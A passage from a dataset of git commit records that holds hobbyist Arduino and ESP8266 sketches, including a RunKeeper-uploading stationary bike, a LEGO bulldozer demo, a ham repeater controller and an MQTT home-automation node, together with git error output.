\"\\\",\\\"notes\\\": \\\"Arduino powered stationary bike\\\",\\\"total_distance\\\": \";\nString json_middle_2 = \",\\\"duration\\\": \";\nString json_end = \"}\";\nboolean lastConnected = false;\n\n\nvoid setup() {\n pinMode(reedPin, INPUT);\n pinMode(buttonPin, INPUT);\n \/\/ set up the LCD's number of columns and rows: \n lcd.begin(16, 2);\n\n \/\/ Reed switch handling by interrupt\n attachInterrupt(0, turnCounter, FALLING);\n\n attachInterrupt(1, changeScreen, FALLING);\n Serial.begin(9600);\n\n \/\/ start Ethernet and UDP\n if (Ethernet.begin(mac) == 0) {\n lcd.print(\"Failed to configure\");\n lcd.setCursor(0, 1);\n lcd.print(\"Ethernet using DHCP\");\n delay(5000);\n }\n else {\n Udp.begin(localPort);\n timestamp = getTimeStamp();\n setTime(timestamp);\n startTimeStr = getTimeString();\n displayInitScreen();\n }\n\n lcd.clear();\n}\n\nvoid loop() {\n \/\/ Activity finished & api push\n if (done == true && !client.connected()) {\n delay(1000);\n lcd.clear();\n String data = json_start;\n data += startTimeStr;\n data += json_middle_1;\n data += totalDistance;\n data += json_middle_2;\n data += (int) (effectiveTime \/ 1000);\n data += json_end;\n unsigned int bufSize = data.length() +1;\n char apiData[bufSize];\n data.toCharArray(apiData, bufSize);\n\n HTTPClient client(apiServer, serverIp);\n http_client_parameter apiHeaders[] = {\n { \n \"Authorization\", accessToken }\n ,\n { \n \"Content-Type\", \"application\/vnd.com.runkeeper.NewFitnessActivity+json\" }\n ,\n {\n NULL, NULL }\n };\n lcd.print(\"Uploading result\");\n delay(500);\n FILE* result = client.postURI(apiUri, NULL, apiData, apiHeaders);\n int returnCode = client.getLastReturnCode();\n lcd.clear();\n if (result!=NULL) {\n client.closeStream(result); \/\/ this is very important -- be sure to close the STREAM\n } \n else {\n lcd.print(\"failed to connect\");\n }\n if (returnCode==201) {\n lcd.print(\"Data uploaded\");\n lcd.setCursor(0, 1);\n lcd.print(\"Session Created\");\n \/\/ Hang on success\n for(;;);\n } \n else {\n lcd.print(\"ERROR: Server returned \");\n lcd.setCursor(0, 1);\n lcd.print(returnCode);\n }\n \/\/ Hang if finished\n if (lastConnected) for(;;);\n } \n else {\n \/\/ Activity in progres\n unsigned long enterLoop = millis();\n \/\/ Update turns and distance\n int nbRotation = rotationCount - updateCount;\n if (nbRotation >= interval)\n {\n currentTime = millis();\n time_elasped = currentTime - lastUpdate;\n float distance = nbRotation * meterPerTurn;\n currentSpeed = ((float) distance \/ (float) time_elasped) * 3600; \n totalDistance = rotationCount * meterPerTurn;\n updateCount = rotationCount;\n lastUpdate = currentTime;\n }\n \/\/ Update time\n if(millis() - lastReedPress < (1000 * timeOut))\n {\n \/\/ Display\n lcd.setCursor(0,0);\n if (screen == true) {\n displayCurrentScreen();\n } \n else {\n displayGlobalScreen();\n }\n delay(500);\n unsigned long exitLoop = millis();\n effectiveTime = effectiveTime + (exitLoop - enterLoop);\n \/\/ Automatic activity pause\n } \n else {\n \/\/ Deactivate the \"Change Screen Button\"\n detachInterrupt(1);\n \/\/ Activate the finish function instead at button press\n attachInterrupt(1, finishActivity, FALLING);\n displayPauseScreen();\n detachInterrupt(1);\n attachInterrupt(1, changeScreen, FALLING);\n }\n }\n lastConnected = client.connected();\n}\n\nvoid turnCounter() {\n if (millis() - lastReedPress > reedRes)\n {\n rotationCount++;\n }\n lastReedPress = millis();\n}\n\nvoid changeScreen() {\n if (millis() - lastButtonPress > 200)\n {\n screen = !screen;\n lcd.clear();\n }\n lastButtonPress = millis();\n}\n\nfloat getAverageSpeed() {\n totalTime = getTotalTime();\n return ((float) totalDistance \/ (float) totalTime) * 3600;\n} \n\nunsigned long getTotalTime() {\n return effectiveTime;\n}\n\nvoid displayCurrentScreen() {\n lcd.print(\"Speed: \");\n lcd.print(currentSpeed);\n lcd.print(\"km\/h\");\n lcd.setCursor(0, 1);\n lcd.print(\"Distance: \");\n if (totalDistance < 1000) {\n lcd.print(totalDistance);\n lcd.print(\"m\");\n } \n else {\n lcd.print((float) totalDistance \/ 1000);\n lcd.print(\"km\");\n }\n}\n\nvoid displayGlobalScreen() {\n \/\/ FIXME: minutes display > 60\n lcd.print(\"Avg: \");\n lcd.print(getAverageSpeed());\n lcd.print(\"km\/h\");\n lcd.setCursor(0, 1);\n totalTime = getTotalTime();\n int hours = totalTime \/ 3600000;\n int minutes = totalTime \/ 60000;\n long seconds = (totalTime % 60000);\n seconds = (long) seconds \/ 1000;\n String time = \"Time: \"\n + String(hours)\n + prettyDigits(minutes) \n + prettyDigits(seconds);\n lcd.print(time);\n}\n\n\/\/ send an NTP request to the time server at the given address \nunsigned long sendNTPpacket(IPAddress& address)\n{\n \/\/ set all bytes in the buffer to 0\n memset(packetBuffer, 0, NTP_PACKET_SIZE); \n \/\/ Initialize values needed to form NTP request\n \/\/ (see URL above for details on the packets)\n packetBuffer[0] = 0b11100011; \/\/ LI, Version, Mode\n packetBuffer[1] = 0; \/\/ Stratum, or type of clock\n packetBuffer[2] = 6; \/\/ Polling Interval\n packetBuffer[3] = 0xEC; \/\/ Peer Clock Precision\n \/\/ 8 bytes of zero for Root Delay & Root Dispersion\n packetBuffer[12] = 49; \n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n\n \/\/ all NTP fields have been given values, now\n \/\/ you can send a packet requesting a timestamp: \n Udp.beginPacket(address, 123); \/\/NTP requests are to port 123\n Udp.write(packetBuffer,NTP_PACKET_SIZE);\n Udp.endPacket(); \n}\n\nunsigned long getTimeStamp() {\n sendNTPpacket(timeServer); \/\/ send an NTP packet to a time server\n \/\/ wait to see if a reply is available\n delay(1000); \n if ( Udp.parsePacket() ) { \n \/\/ We've received a packet, read the data from it\n Udp.read(packetBuffer,NTP_PACKET_SIZE); \/\/ read the packet into the buffer\n \/\/the timestamp starts at byte 40 of the received packet and is four bytes,\n \/\/ or two words, long. First, esxtract the two words:\n unsigned long highWord = word(packetBuffer[40], packetBuffer[41]);\n unsigned long lowWord = word(packetBuffer[42], packetBuffer[43]); \n \/\/ combine the four bytes (two words) into a long integer\n \/\/ this is NTP time (seconds since Jan 1 1900):\n unsigned long secsSince1900 = highWord << 16 | lowWord; \n \/\/ now convert NTP time into Unix timestamp:\n const unsigned long seventyYears = 2208988800UL; \n unsigned long epoch = secsSince1900 - seventyYears; \n return epoch; \n } \n}\n\nString prettyDigits(int digits){\n \/\/ utility function for digital clock display: prints preceding colon and leading 0\n String output = \":\";\n if(digits < 10)\n output += '0';\n output += digits;\n return output;\n}\n\nString getTimeString() {\n String str_time;\n str_time += String(dayShortStr(weekday())) + \", \" \n + String(day()) + \" \" \n + String(monthShortStr(month())) + \" \" \n + String(year()) \n + \" \"\n + String(hour())\n + prettyDigits(minute())\n + prettyDigits(second());\n return str_time; \n}\n\nvoid displayPauseScreen() {\n lcd.clear();\n lcd.print(\"Activity paused.\");\n delay(1000);\n lcd.clear();\n lcd.print(\"Press button \");\n lcd.setCursor(0, 1);\n lcd.print(\"to finish\");\n delay(1000);\n}\n\nvoid displayInitScreen() {\n lcd.print(\"IP: \");\n lcd.print(Ethernet.localIP());\n lcd.setCursor(0, 1);\n for (int i = 0;i < 16;i++) lcd.print(startTimeStr.charAt(i));\n delay(2500); \n lcd.setCursor(0, 1);\n for (int i = 1;i < 32;i++) lcd.print(\" \");\n lcd.setCursor(0, 1);\n for (int i = 16;i < startTimeStr.length();i++) lcd.print(startTimeStr.charAt(i));\n delay(2500);\n}\n\nvoid finishActivity() {\n lcd.clear();\n lcd.print(\"Activity\"); \n lcd.setCursor(0, 1);\n lcd.print(\"finished\");\n done = true;\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"9c6c602cb6333bc46bc4eeacf42daf4422efcde8","subject":"was still wrong","message":"was still wrong\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/SPI.ino","new_file":"ArduinoClient\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a31f3c7b94f587ca218678c3fd53a350865cc548","subject":"Create bulldozer_8275.ino","message":"Create bulldozer_8275.ino","repos":"TheJarOS\/LegoPowerFunctions-Arduino-Library","old_file":"examples\/bulldozer_8275\/bulldozer_8275.ino","new_file":"examples\/bulldozer_8275\/bulldozer_8275.ino","new_contents":"\/*\n buldozer_8275.ino\n example for the 8275 bulldozer\n Not modified by Mateusz Jaros \/ The JarOS.\n \n 04.06.2015\n*\/\n#include <legopowerfunctions.h>\n\n\/\/ IR led on port 13\nLEGOPowerFunctions lego(13);\n\nint timeout, count;\n\nvoid setup()\n{\n}\n\nvoid loop()\n{\n timeout = 5; \/\/ 5 secs\n count = 0;\n while(timeout > 0)\n {\n lego.ComboPWM(PWM_REV4, PWM_FWD4, CH1); \/\/ 50% speed\n delay(100);\n if (count++ == 10)\n {\n timeout--;\n count = 0;\n }\n }\n lego.ComboPWM(PWM_FLT, PWM_FLT, CH1); \/\/ stop\n delay(1000);\n timeout = 3; \/\/ 5 secs\n count = 0;\n while(timeout > 0)\n {\n lego.ComboMode(RED_FWD, BLUE_FWD, CH1); \/\/ turn\n delay(100);\n if (count++ == 10)\n {\n timeout--;\n count = 0;\n }\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/bulldozer_8275\/bulldozer_8275.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"98ba80f3aa4a0cd782fc5efbdbace44b9b200ee5","subject":"Create spark-as-client.ino","message":"Create spark-as-client.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"spark-as-client\/spark-as-client.ino","new_file":"spark-as-client\/spark-as-client.ino","new_contents":"TCPClient client;\nbyte server[] = { 74, 125, 224, 72 }; \/\/ Google\nvoid setup()\n{\n \/\/ Make sure your Serial Terminal app is closed before powering your Core\n Serial.begin(9600);\n \/\/ Now open your Serial Terminal, and hit any key to continue!\n while(!Serial.available()) SPARK_WLAN_Loop();\n\n Serial.println(\"connecting...\");\n\n if (client.connect(server, 80))\n {\n Serial.println(\"connected\");\n client.println(\"GET \/search?q=unicorn HTTP\/1.0\");\n client.println(\"Host: www.google.com\");\n client.println(\"Content-Length: 0\");\n client.println();\n }\n else\n {\n Serial.println(\"connection failed\");\n }\n}\n\nvoid loop()\n{\n if (client.available())\n {\n char c = client.read();\n Serial.print(c);\n }\n\n if (!client.connected())\n {\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n for(;;);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-as-client\/spark-as-client.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"814da2fee7e02c1d6da22176959eedb7012b5021","subject":"PID speed test","message":"PID speed test\n","repos":"agnunez\/espros","old_file":"PID_test\/PID_test.ino","new_file":"PID_test\/PID_test.ino","new_contents":"#include <ESP8266WiFi.h>\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\nint lpwm=0;\nint rpwm=0;\nint len=300; \/\/ period in ms\nint lmc=0; \/\/ left motor counter\nint rmc=0; \nint lmc0=0; \/\/ last encoder value \nint rmc0=0;\nint ldir=1; \/\/ left motor direction\nint rdir=1;\nint lv=0; \/\/ left motor actual speed\nint rv=0; \/\/ measured in n tics\/timer period\nint ltp=0; \/\/ left motor target position \nfloat av, th; \/\/ average & angular velocity\nint ti=0;\n\n\nos_timer_t myTimer;\n\n\/\/ start of timerCallback\nvoid tic(void *pArg) {\n lv=lmc-lmc0; \/\/ lv left instant velocity\n lmc0=lmc;\n rv=rmc-rmc0; \/\/ rv right install velocity\n rmc0=rmc;\n th=rv-lv; \/\/ angular speed coef. (*pi()\/rstep(180))\n av=(lv+rv)\/2.; \/\/ center forward velocity\n ti+=1; \/\/ tic counter \n}\n\nvoid stop(void){ \/\/ Stop both motors\n analogWrite(D1, 0);\n analogWrite(D2, 0);\n}\n \nvoid motion(int lpwm, int rpwm, int llevel, int rlevel) { \n if (llevel==HIGH) {\n ldir=1; \n } else {\n ldir=-1;\n }\n if (rlevel==HIGH) {\n rdir=1; \n } else {\n rdir=-1;\n }\n analogWrite(D1, lpwm);\n analogWrite(D2, rpwm);\n digitalWrite(D3, llevel);\n digitalWrite(D4, rlevel);\n}\nvoid lencode() { \/\/ GPIO ISR Interrupt service routines for encoder changes\n lmc=lmc+ldir;\n}\nvoid rencode(){ \n rmc=rmc+rdir;\n}\n\n\nvoid setup() {\n pinMode(D1, OUTPUT); \/\/ 1,2EN aka D1 pwm left\n pinMode(D2, OUTPUT); \/\/ 3,4EN aka D2 pwm right\n pinMode(D3, OUTPUT); \/\/ 1A,2A aka D3\n pinMode(D4, OUTPUT); \/\/ 3A,4A aka D4\n pinMode(D5, INPUT); \/\/ Left encoder\n pinMode(D6, INPUT); \/\/ Right encoder\n attachInterrupt(D5, lencode, RISING); \/\/ Setup Interrupt \n attachInterrupt(D6, rencode, RISING); \/\/ Setup Interrupt \n sei(); \/\/ Enable interrupts \n int currentTime = millis();\n int cloopTime = currentTime;\n \n os_timer_setfn(&myTimer, tic, NULL);\n os_timer_arm(&myTimer, 500, true); \/\/ timer in ms\n\n Serial.begin(115200);\n Serial.println(\"Ready\");\n}\n\nvoid loop(){\n \/\/waiting for input\n if (Serial.available() != 0) {\n lpwm = Serial.parseInt();\n rpwm = lpwm;\n motion(lpwm,rpwm,HIGH,HIGH);\n }\n Serial.print(lv);\n Serial.print(\":\");\n Serial.print(rv);\n Serial.print(\"<\"); \n Serial.print(lpwm);\n Serial.print(\":\");\n Serial.print(rpwm);\n Serial.print(\">\");\n Serial.print(lmc);\n Serial.print(\":\");\n Serial.print(rmc);\n Serial.print(\"#\");\n Serial.print(ti);\n Serial.print(\" th: \");\n Serial.print(th);\n Serial.print(\" av: \");\n Serial.println(av);\n if(th>0){ rpwm-=10; lpwm+=10; }\n if(th<0){ rpwm+=10; lpwm-=10; }\n motion(lpwm,rpwm,HIGH,HIGH);\n delay(1000);\n}\/\/read int or parseFloat for ..float...\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PID_test\/PID_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9776ed7c2c0109bfdcbe3148867925645d6ad975","subject":"Added empty test sketch for KeenClient.","message":"Added empty test sketch for KeenClient.\n","repos":"keen\/keen-arduino","old_file":"tests\/KeenClientTest.ino","new_file":"tests\/KeenClientTest.ino","new_contents":"#line 2 \"KeenClientTest.ino\"\n#define private public\n#define OFFLINE\n#include <Arduino.h>\n#include <ArduinoUnit.h>\n#include <Bridge.h>\n#include <ApiClient.h>\n#include <KeenClient.h>\n\nKeenClient keen;\n\nvoid setup()\n{\n pinMode(13, OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n digitalWrite(13, HIGH);\n\n Serial.begin(115200);\n\n while (!Serial); \/\/ wait for a serial connection\n}\n\nvoid loop()\n{\n Test::run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/KeenClientTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"97ff85cf70747deda8dd00f9737aa2115c897bac","subject":"Initial commit of repeater controller code.","message":"Initial commit of repeater controller code.\n","repos":"dandrzejewski\/arduino-repeater-controller","old_file":"RepeaterController.ino","new_file":"RepeaterController.ino","new_contents":"\/*\n\nAn Arduino-based repeater controller.\n\nAuthor: David Andrzejewski\n\n\n*\/\n\n\nconst int pinPtt = 2;\nconst int pinCor = 3;\n\nint currentPttStatus = LOW;\nint currentCorStatus = LOW;\n\n\/\/ How often do we need to ID? A good value would probably be about 9.5 minutes.\nconst unsigned long idTimerInterval = 30000;\n\n\/\/ Track the last keyup time\nunsigned long lastPttKeyupTime = 0;\n\n\/\/ Track the ID timer\nunsigned long idTimerStartTime = 0;\nboolean pendingId = false;\n\n\/\/ Timeout timer values\nconst unsigned long timeoutTimer = 30000;\nunsigned long timeoutTimerStartTime = 0;\n\n\/\/ Morse code ID values\n\/* \nAccording to http:\/\/www.nu-ware.com\/NuCode%20Help\/index.html?morse_code_structure_and_timing_.htm,\n\nDash Length = Dot length * 3\nPause between elements = dot length\nPause between characters = dot length * 3\nPause between words = dot length * 7\n\nSpeed (wpm = 2.4 * dots per second\n\n*\/ \n\n\/\/ All lengths in millis - 100ms = 24wpm\nconst int dotLength = 100;\nconst int pauseBetweenElements = dotLength;\nconst int pauseBetweenCharacters = dotLength * 3;\nconst int pauseBetweenWords = dotLength * 7;\n\nvoid setup() {\n \/\/ Set up the PTT pin as an output\n pinMode(pinPtt, OUTPUT);\n\n \/\/ Ensure we start with the PTT pin low.\n digitalWrite(pinPtt, LOW);\n\n \/\/ Set up the COR pin as an input\n pinMode(pinCor, INPUT);\n \n}\n\nvoid loop() {\n \/\/ When COR goes high, PTT needs to go high.\n if (digitalRead(pinCor) == HIGH && currentPttStatus == LOW) {\n setPtt(HIGH);\n }\n\n \/\/ When COR goes low, PTT needs to go low.\n if (digitalRead(pinCor) == LOW && currentPttStatus == HIGH) {\n setPtt(LOW);\n }\n \n doIdIfNeeded();\n \n doTimeoutIfNeeded();\n \n}\n\n\/\/ Sets the PTT pin and sets up timers related to PTT (ID and Timeout)\nvoid setPtt(int argPttHighLow) {\n \n \/\/ If we are just starting PTT, start the timeout timer.\n if (argPttHighLow == HIGH && currentPttStatus == LOW) {\n startTimeoutTimer();\n }\n \n \/\/ If we are stopping PTT, shut off the timtout timer.\n else if (argPttHighLow == LOW && currentPttStatus == HIGH) {\n stopTimeoutTimer();\n }\n \n \/\/ Start the ID timer - this does not get stopped or reset until ID happens.\n if (argPttHighLow == HIGH) {\n startIdTimerIfNeeded();\n }\n\n \/\/ Track current PTT status\n currentPttStatus = argPttHighLow;\n\n \/\/ Set the PTT pin.\n digitalWrite(pinPtt, argPttHighLow);\n \n}\n\n\/\/ If the ID timer hasn't been started, start it.\nvoid startIdTimerIfNeeded() {\n if (idTimerStartTime == 0 && digitalRead(pinPtt) == HIGH) {\n idTimerStartTime = millis();\n }\n}\n\n\/\/ If it's time to do an ID, do it.\nvoid doIdIfNeeded() {\n if (millis() - idTimerStartTime > idTimerInterval) {\n \/\/ Do the ID\n \n \/\/ Reset the timer\n idTimerStartTime = 0;\n\n }\n}\n\n\/\/ Start the timeout timer.\nvoid startTimeoutTimer() {\n timeoutTimerStartTime = millis();\n}\n\n\/\/ Stop the timeout timer.\nvoid stopTimeoutTimer() {\n timeoutTimerStartTime = 0;\n}\n\n\/\/ Time out if needed.\nvoid doTimeoutIfNeeded() {\n if (millis() - timeoutTimerStartTime > timeoutTimer) {\n setPtt(LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RepeaterController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4722d7284dcab50625946da1f535a63038a4c8dd","subject":"silly temp code","message":"silly temp code\n","repos":"klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/homeAutomationExample","old_file":"arduino\/central_board\/src\/cboard.ino","new_file":"arduino\/central_board\/src\/cboard.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the Uno and\n Leonardo, it is attached to digital pin 13. If you're unsure what\n pin the on-board LED is connected to on your Arduino model, check\n the documentation at http:\/\/www.arduino.cc\n\n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n *\/\n\n\n\/\/ the setup function runs once when you press reset or power the board\n\nint led_strip_state = 0;\nint light_state = 1;\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(42, OUTPUT);\n digitalWrite(42, light_state);\n\n pinMode(47, OUTPUT);\n digitalWrite(47, led_strip_state);\n Serial.begin(9600);\n}\n\n\nint inByte = 0; \/\/ incoming serial byte\n\nvoid loop() {\n \/\/ if we get a valid byte, read analog ins:\n if (Serial.available() > 0) {\n \/\/ get incoming byte:\n inByte = Serial.read();\n \/\/ read first analog input, divide by 4 to make the range 0-255:\n if(inByte == 'l') {\n light_state = ! light_state;\n digitalWrite(42, light_state);\n }\n\n if(inByte == 'o') {\n led_strip_state = ! led_strip_state;\n digitalWrite(47, led_strip_state);\n }\n\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/central_board\/src\/cboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6fb87a4e6f858bb011d1103258641253d0abc2d5","subject":"ON\/Off actuator point code","message":"ON\/Off actuator point code","repos":"dwightdoreid\/MQTTHomeAutomation,dwightdoreid\/MQTTHomeAutomation","old_file":"mqttHA_Point_OnOff.ino","new_file":"mqttHA_Point_OnOff.ino","new_contents":"#include <dummy.h>\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include <ESP8266WebServer.h>\n#include <EEPROM.h>\n\n\/\/ Update these with values suitable for your network.\nESP8266WebServer server(80);\nIPAddress mqtt_server(192,168,0,106);\n\nString pointID;\nchar red[5];\nconst char* mqttUser = \"mqttUser\";\nconst char* mqttPw = \"mqttuser\";\nconst char* ssid = \"MQTT_HA_SetUp\";\nconst char* passphrase = \"testpassword\";\nString esid;\nString epass = \"\";\n\nString st;\nString content;\nint statusCode;\n\n\nWiFiClient espClient;\nvoid callback(char* topic, byte* payload, unsigned int lent);\nPubSubClient client(mqtt_server, 1883, callback, espClient);\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\nunsigned long startTime;\nlong timeHeld;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup_wifi() {\n\n delay(10);\n WiFi.begin();\n\n Serial.println(\"Reading EEPROM ssid\");\n \n for (int i = 32; i < 64; ++i)\n {\n esid += char(EEPROM.read(i));\n }\n Serial.print(\"SSID: \");\n Serial.println(esid);\n Serial.println(\"Reading EEPROM pass\");\n \n for (int i = 64; i < 128; ++i)\n {\n epass += char(EEPROM.read(i));\n }\n Serial.print(\"PASS: \");\n Serial.println(epass); \n if (testWifi()) {\n Serial.println(\"\");\n Serial.println(\"Connected to wifi network :\/ \");\n return;\n } \n \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool testWifi(void) {\n WiFi.mode(WIFI_STA);\n int c = 0;\n if ( esid.length() > 1 ) {\n Serial.println(\"Trying to connect to wifi net..\");\n WiFi.begin(esid.c_str(), epass.c_str());\n while (WiFi.status() != WL_CONNECTED&&c<20) {\n delay(500);\n Serial.print(\".\");\n c++;\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"Connected to wifi network :\/ \");\n return true; \n }\n \n \n }\n Serial.println(\"\");\n Serial.println(\"Connect timed out, opening AP\");\n return false;\n} \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid launchWeb(int webtype) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.print(\"Local IP: \");\n Serial.println(WiFi.localIP());\n Serial.print(\"SoftAP IP: \");\n Serial.println(WiFi.softAPIP());\n createWebServer(webtype);\n \/\/ Start the server\n server.begin(); \n Serial.println(\"Server started\"); \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setupAP(void) {\n WiFi.mode(WIFI_STA);\n WiFi.disconnect();\n delay(100);\n int n = WiFi.scanNetworks();\n Serial.println(\"scan done\");\n if (n == 0)\n Serial.println(\"no networks found\");\n else\n {\n Serial.print(n);\n Serial.println(\" networks found\");\n for (int i = 0; i < n; ++i)\n {\n \/\/ Print SSID and RSSI for each network found\n Serial.print(i + 1);\n Serial.print(\": \");\n Serial.print(WiFi.SSID(i));\n Serial.print(\" (\");\n Serial.print(WiFi.RSSI(i));\n Serial.print(\")\");\n Serial.println((WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\");\n delay(10);\n }\n }\n Serial.println(\"\"); \n st = \"<ol>\";\n for (int i = 0; i < n; ++i)\n {\n \/\/ Print SSID and RSSI for each network found\n st += \"<li>\";\n st += WiFi.SSID(i);\n st += \" (\";\n st += WiFi.RSSI(i);\n st += \")\";\n st += (WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\";\n st += \"<\/li>\";\n }\n st += \"<\/ol>\";\n delay(100);\n WiFi.softAP(ssid, passphrase, 6);\n Serial.println(\"softap\");\n launchWeb(1);\n Serial.println(\"over\");\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid createWebServer(int webtype)\n{\n if ( webtype == 1 ) {\n Serial.println(\"\");\n Serial.println(\"webtype 1 selected\");\n server.on(\"\/\", []() {\n Serial.println(\"\");\n Serial.println(\"server received \/\");\n IPAddress ip = WiFi.softAPIP();\n String ipStr = String(ip[0]) + '.' + String(ip[1]) + '.' + String(ip[2]) + '.' + String(ip[3]);\n content = \"<!DOCTYPE HTML>\\r\\n<html>Hello from ESP8266 at \";\n content += ipStr;\n content += \"<p>\";\n content += st;\n content += \"<\/p><form method='get' action='setting'><label>SSID: <\/label><input name='ssid' length=32><input name='pass' length=64><input type='submit'><\/form>\";\n content += \"<\/html>\";\n server.send(200, \"text\/html\", content); \n });\n server.on(\"\/setting\", []() {\n String qsid = server.arg(\"ssid\");\n String qpass = server.arg(\"pass\");\n if (qsid.length() > 0 && qpass.length() > 0) {\n Serial.println(\"clearing eeprom\");\n for (int i = 0; i < 128; ++i) { EEPROM.write(i, 0); }\n Serial.println(qsid);\n Serial.println(\"\");\n Serial.println(qpass);\n Serial.println(\"\");\n \n Serial.println(\"writing eeprom ssid:\");\n for (int i = 0; i < qsid.length(); ++i)\n {\n EEPROM.write(32+i, qsid[i]);\n Serial.print(\"Wrote: \");\n Serial.println(qsid[i]); \n }\n Serial.println(\"writing eeprom pass:\"); \n for (int i = 0; i < qpass.length(); ++i)\n {\n EEPROM.write(64+i, qpass[i]);\n Serial.print(\"Wrote: \");\n Serial.println(qpass[i]); \n } \n EEPROM.commit();\n content = \"{\\\"Success\\\":\\\"saved to eeprom... reset to boot into new wifi\\\"}\";\n statusCode = 200;\n } else {\n content = \"{\\\"Error\\\":\\\"404 not found\\\"}\";\n statusCode = 404;\n Serial.println(\"Sending 404\");\n }\n server.send(statusCode, \"application\/json\", content);\n });\n } else if (webtype == 0) {\n Serial.println(\"\");\n Serial.println(\"webtype 0 selected\");\n server.on(\"\/\", []() {\n IPAddress ip = WiFi.localIP();\n String ipStr = String(ip[0]) + '.' + String(ip[1]) + '.' + String(ip[2]) + '.' + String(ip[3]);\n server.send(200, \"application\/json\", \"{\\\"IP\\\":\\\"\" + ipStr + \"\\\"}\");\n });\n server.on(\"\/cleareeprom\", []() {\n content = \"<!DOCTYPE HTML>\\r\\n<html>\";\n content += \"<p>Clearing the EEPROM<\/p><\/html>\";\n server.send(200, \"text\/html\", content);\n Serial.println(\"clearing eeprom\");\n for (int i = 0; i < 128; ++i) { EEPROM.write(i, 0); }\n EEPROM.commit();\n });\n 